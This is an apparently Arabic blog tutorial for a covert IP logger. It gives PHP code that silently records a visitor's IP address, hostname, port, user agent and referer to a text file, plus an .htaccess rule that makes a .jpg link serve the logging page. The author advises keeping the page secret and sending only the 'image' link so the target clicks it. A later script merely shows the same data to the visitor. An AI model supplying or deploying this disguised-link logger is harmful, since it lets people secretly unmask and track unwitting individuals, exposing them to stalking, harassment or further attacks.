البرمجه لعده ملفات اتبع :
1- تيكست سمه ما تحب مثلا
HaYeF101.txt
2- ويب تسمه ما تحب مثلا
HaYeF101.html
HaYeF101.php
3- عمل صوره وتسمه ما تحب مثلا
HaYeF101.jpg
4- مهم جدا وجود ملف
.htaccess
الاكواد هنا :
1- txt
يكون فاضي فقط
2- كود html او ملف php
<?php
$protocol = $_SERVER['SERVER_PROTOCOL'];
$ip = $_SERVER['REMOTE_ADDR'];
$port = $_SERVER['REMOTE_PORT'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$ref = $_SERVER['HTTP_REFERER'];
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$fh = fopen('HaYeF101.txt', 'a');
fwrite($fh, 'IP Address: '."".$ip ."\n");
fwrite($fh, 'Hostname: '."".$hostname ."\n");
fwrite($fh, 'Port Number: '."".$port ."\n");
fwrite($fh, 'User Agent: '."".$agent ."\n");
fwrite($fh, 'HTTP Referer: '."".$ref ."\n\n");
fclose($fh);
?>
3- تعمل اي صوره تحب
4- ملف .htaccess
RewriteEngine on
RewriteRule ^HaYeF101.jpg$ HaYeF101.html
ميزه البرمجه : يخرج الايبي الشخصي لاي متصفح كان
1- IP Address
2- Hostname
3- Port Number
4- User Agent
5- HTTP Referer
الصفحه تكون سريه لك فقط ارسال رابط الصوره لضغط عليها

وهذا كود طورته
<?php
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unavailable';
$hostname = gethostbyaddr($ip) ?: 'Unavailable';
$port = $_SERVER['REMOTE_PORT'] ?? 'Unavailable';
$agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unavailable';
$ref = $_SERVER['HTTP_REFERER'] ?? 'Unavailable';
$protocol = $_SERVER['SERVER_PROTOCOL'] ?? 'Unavailable';
$time = date('Y-m-d H:i:s');
?>
<!DOCTYPE html>
<html lang="ar">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Content-Language" content="ar" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>معلومات الزائر</title>
<style>
body {
background: #f0f0f0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
direction: rtl;
padding: 30px;
}
.container {
background: white;
border-radius: 10px;
padding: 25px;
box-shadow: 0 0 15px rgba(0,0,0,0.1);
max-width: 600px;
margin: auto;
}
h2 {
color: #333;
}
.info {
margin: 10px 0;
line-height: 1.6;
}
.label {
font-weight: bold;
color: #444;
}
</style>
</head>
<body>
<div class="container">
<h2>📊 معلومات الزائر</h2>
<div class="info"><span class="label">الوقت:</span> <?= $time ?></div>
<div class="info"><span class="label">العنوان IP:</span> <?= $ip ?></div>
<div class="info"><span class="label">اسم المضيف:</span> <?= $hostname ?></div>
<div class="info"><span class="label">البورت:</span> <?= $port ?></div>
<div class="info"><span class="label">البروتوكول:</span> <?= $protocol ?></div>
<div class="info"><span class="label">المتصفح:</span> <?= $agent ?></div>
<div class="info"><span class="label">المرجع:</span> <?= $ref ?></div>
</div>
</body>
</html>
شاهد المثال : وتنزيل الملف
وسلامتكم
0 تعليقات